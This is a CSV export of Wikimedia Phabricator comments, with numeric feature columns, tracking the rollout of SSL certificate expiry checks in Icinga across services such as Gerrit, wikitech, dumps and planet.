550156,ssl expiry tracking in icinga - we don't monitor that many domains,skip ldap-mirror. that should be this https://gerrit.wikimedia.org/r/#/c/247936/1/manifests/role/openldap.pp,,,1445470863,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.5,1.0,skip ldap-mirror. that should be this URL
550143,ssl expiry tracking in icinga - we don't monitor that many domains,"ok, all done, except these remnants.

can you help me here? what's the status? 

ecc-star.wmfusercontent.org.crt 
labvirt-star.eqiad.wmnet.crt 
ldap-mirror.wikimedia.org.crt 
star.wmfusercontent.org.crt
virt-star.eqiad.wmnet.crt

@andrew @chasemp @yuvipanda can you tell me if these certs above are actually used and on which FQDN they are expected?",,,1445470110,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,8.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,10.0,6.0,2.0,6.0,0.0,0.0,10.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,6.153846153846154,0.75,"ok, all done, except these remnants.

can you help me here? what's the status? 

ecc-star.wmfusercontent.org.crt 
labvirt-star.eqiad.wmnet.crt 
ldap-mirror.wikimedia.org.crt 
star.wmfusercontent.org.crt
virt-star.eqiad.wmnet.crt
SCREEN_NAMESCREEN_NAMESCREEN_NAME can you tell me if these certs above are actually used and on which FQDN they are expected?"
550135,ssl expiry tracking in icinga - we don't monitor that many domains,"ok, all done, except these remnants.

can you help me here? what's the status? 

ecc-star.wmfusercontent.org.crt 
labvirt-star.eqiad.wmnet.crt 
ldap-mirror.wikimedia.org.crt 
star.wmfusercontent.org.crt
virt-star.eqiad.wmnet.crt
",,,1445469829,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.65625,0.78125,"ok, all done, except these remnants.

can you help me here? what's the status? 

ecc-star.wmfusercontent.org.crt 
labvirt-star.eqiad.wmnet.crt 
ldap-mirror.wikimedia.org.crt 
star.wmfusercontent.org.crt
virt-star.eqiad.wmnet.crt
"
550134,ssl expiry tracking in icinga - we don't monitor that many domains,"planet: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=1&host=en.planet.wikimedia.org
labs / tools.wmflabs.org  https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=tools.wmflabs.org&service=HTTPS-wmflabs
ldap-codfw: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=nembus&service=LDAP-SSL
ldap-eqiad: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neptunium&service=LDAP-SSL
",,,1445469703,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.090909090909091,0.5454545454545454,"planet: URL
labs / tools.wmflabs.org  URL
ldap-codfw: URL
ldap-eqiad: URL
"
550090,ssl expiry tracking in icinga - we don't monitor that many domains,"policy: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=1&host=policy.wikimedia.org
blog: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=blog.wikimedia.org&service=HTTPS-blog
toolserver: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=www.toolserver.org&service=HTTPS-toolserver
eventdonations: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=eventdonations.wikimedia.org&service=HTTPS-eventdonations  (HOST down due to filtered ICMP?)
",,,1445465830,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1923076923076925,0.6538461538461539,"policy: URL
blog: URL
toolserver: URL
eventdonations: URL  (HOST down due to filtered ICMP?)
"
549998,ssl expiry tracking in icinga - we don't monitor that many domains,"archiva: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=titanium&service=HTTPS
ganglia: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=uranium&service=HTTPS
rcstream: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=rcs1001&service=HTTPS",,,1445458696,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.5454545454545454,"archiva: URL
ganglia: URL
rcstream: URL"
549996,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247905 merged by Dzahn:
icinga: ssl cert monitoring for external services

[[https://gerrit.wikimedia.org/r/247905]]",,,1445458424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,4.095238095238095,0.8571428571428571,"Change 247905 merged by Dzahn:
icinga: ssl cert monitoring for external services

[[GERRIT_URL]]"
549980,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247905 had a related patch set uploaded (by Dzahn):
icinga: ssl cert monitoring for external services

[[https://gerrit.wikimedia.org/r/247905]]
",,,1445456759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,3.9285714285714284,0.8928571428571429,"Change 247905 had a related patch set uploaded (by Dzahn):
icinga: ssl cert monitoring for external services

[[GERRIT_URL]]
"
549422,ssl expiry tracking in icinga - we don't monitor that many domains,"dumps: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=dataset1001&service=HTTPS
OTRS: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=iodine&service=HTTPS
lists: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=fermium&service=HTTPS
icinga: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neon&service=HTTPS
gerrit: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS
RT: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=magnesium&service=HTTPS
planet: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=planet1001&service=HTTPS  (BROKEN, this needs to be on the cp boxes, special case! )
librenms: https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=netmon1001&service=HTTPS",,,1445382346,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,23.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6875,0.5625,"dumps: URL
OTRS: URL
lists: URL
icinga: URL
gerrit: URL
RT: URL
planet: URL  (BROKEN, this needs to be on the cp boxes, special case! )
librenms: URL"
549383,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247744 merged by Dzahn:
planet: add ssl cert expiry check

[[https://gerrit.wikimedia.org/r/247744]]",,,1445379300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.55,0.85,"Change 247744 merged by Dzahn:
planet: add ssl cert expiry check

[[GERRIT_URL]]"
549381,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 247744 had a related patch set uploaded (by Dzahn):
planet: add ssl cert expiry check

[[https://gerrit.wikimedia.org/r/247744]]
",,,1445379159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5185185185185186,0.8888888888888888,"Change 247744 had a related patch set uploaded (by Dzahn):
planet: add ssl cert expiry check

[[GERRIT_URL]]
"
549373,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244617 merged by Dzahn:
dumps: add cert expiry check

[[https://gerrit.wikimedia.org/r/244617]]",,,1445378386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.526315789473684,0.8421052631578947,"Change 244617 merged by Dzahn:
dumps: add cert expiry check

[[GERRIT_URL]]"
549308,ssl expiry tracking in icinga - we don't monitor that many domains,"progress tracking on etherpad now:

https://etherpad.wikimedia.org/p/T114059",,,1445372893,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.375,1.0,"progress tracking on etherpad now:

URL"
549268,ssl expiry tracking in icinga - we don't monitor that many domains,"and let's also have meta monitoring. icinga itself should have a working cert :)

added:

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neon&service=HTTPS

SSL OK - Certificate icinga.wikimedia.org valid until 2016-01-08 03:00:46 +0000 (expires in 79 days)",,,1445369326,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,14.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.023809523809524,0.8809523809523809,"and let's also have meta monitoring. icinga itself should have a working cert :)

added:

URL

SSL OK - Certificate icinga.wikimedia.org valid until 2016-01-08 03:00:46 +0000 (expires in 79 days)"
549178,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244614 merged by Dzahn:
icinga: add cert expiry check for icinga itself

[[https://gerrit.wikimedia.org/r/244614]]",,,1445364298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,3.772727272727273,0.8181818181818182,"Change 244614 merged by Dzahn:
icinga: add cert expiry check for icinga itself

[[GERRIT_URL]]"
549006,ssl expiry tracking in icinga - we don't monitor that many domains,"https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=silver&service=HTTPS

SSL OK - Certificate wikitech.wikimedia.org valid until 2016-01-25 04:44:13 +0000 (expires in 96 days)
",,,1445352123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.130434782608695,0.9130434782608695,"URL

SSL OK - Certificate wikitech.wikimedia.org valid until 2016-01-25 04:44:13 +0000 (expires in 96 days)
"
548975,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244610 merged by Faidon Liambotis:
wikitech: add SSL cert expiry monitoring

[[https://gerrit.wikimedia.org/r/244610]]",,,1445349629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.190476190476191,0.8571428571428571,"Change 244610 merged by Faidon Liambotis:
wikitech: add SSL cert expiry monitoring

[[GERRIT_URL]]"
548748,ssl expiry tracking in icinga - we don't monitor that many domains,"check for gerrit cert added:

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS

""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)""",,,1445301253,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,10.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.8709677419354839,"check for gerrit cert added:

URL

""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)"""
548747,ssl expiry tracking in icinga - we don't monitor that many domains,"check forgerrit cert added:

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=ytterbium&service=HTTPS

""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)""",,,1445301213,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.033333333333333,0.8666666666666667,"check forgerrit cert added:

URL

""SSL OK - Certificate gerrit.wikimedia.org valid until 2018-05-25 21:30:06 +0000 (expires in 948 days)"""
548729,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244618 merged by Dzahn:
gerrit: add cert expiry check

[[https://gerrit.wikimedia.org/r/244618]]",,,1445299346,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.5789473684210527,0.8421052631578947,"Change 244618 merged by Dzahn:
gerrit: add cert expiry check

[[GERRIT_URL]]"
543868,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244618 had a related patch set uploaded (by Dzahn):
gerrit: add cert expiry check

[[https://gerrit.wikimedia.org/r/244618]]
",,,1444345854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qckzskdoj6qw4aeornnu,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.5384615384615383,0.8846153846153846,"Change 244618 had a related patch set uploaded (by Dzahn):
gerrit: add cert expiry check

[[GERRIT_URL]]
"
543867,ssl expiry tracking in icinga - we don't monitor that many domains,"Change 244617 had a related patch set uploaded (by Dzahn):
dumps: add cert expiry check

[[https://gerrit.wikimedia.org/r/244617]]
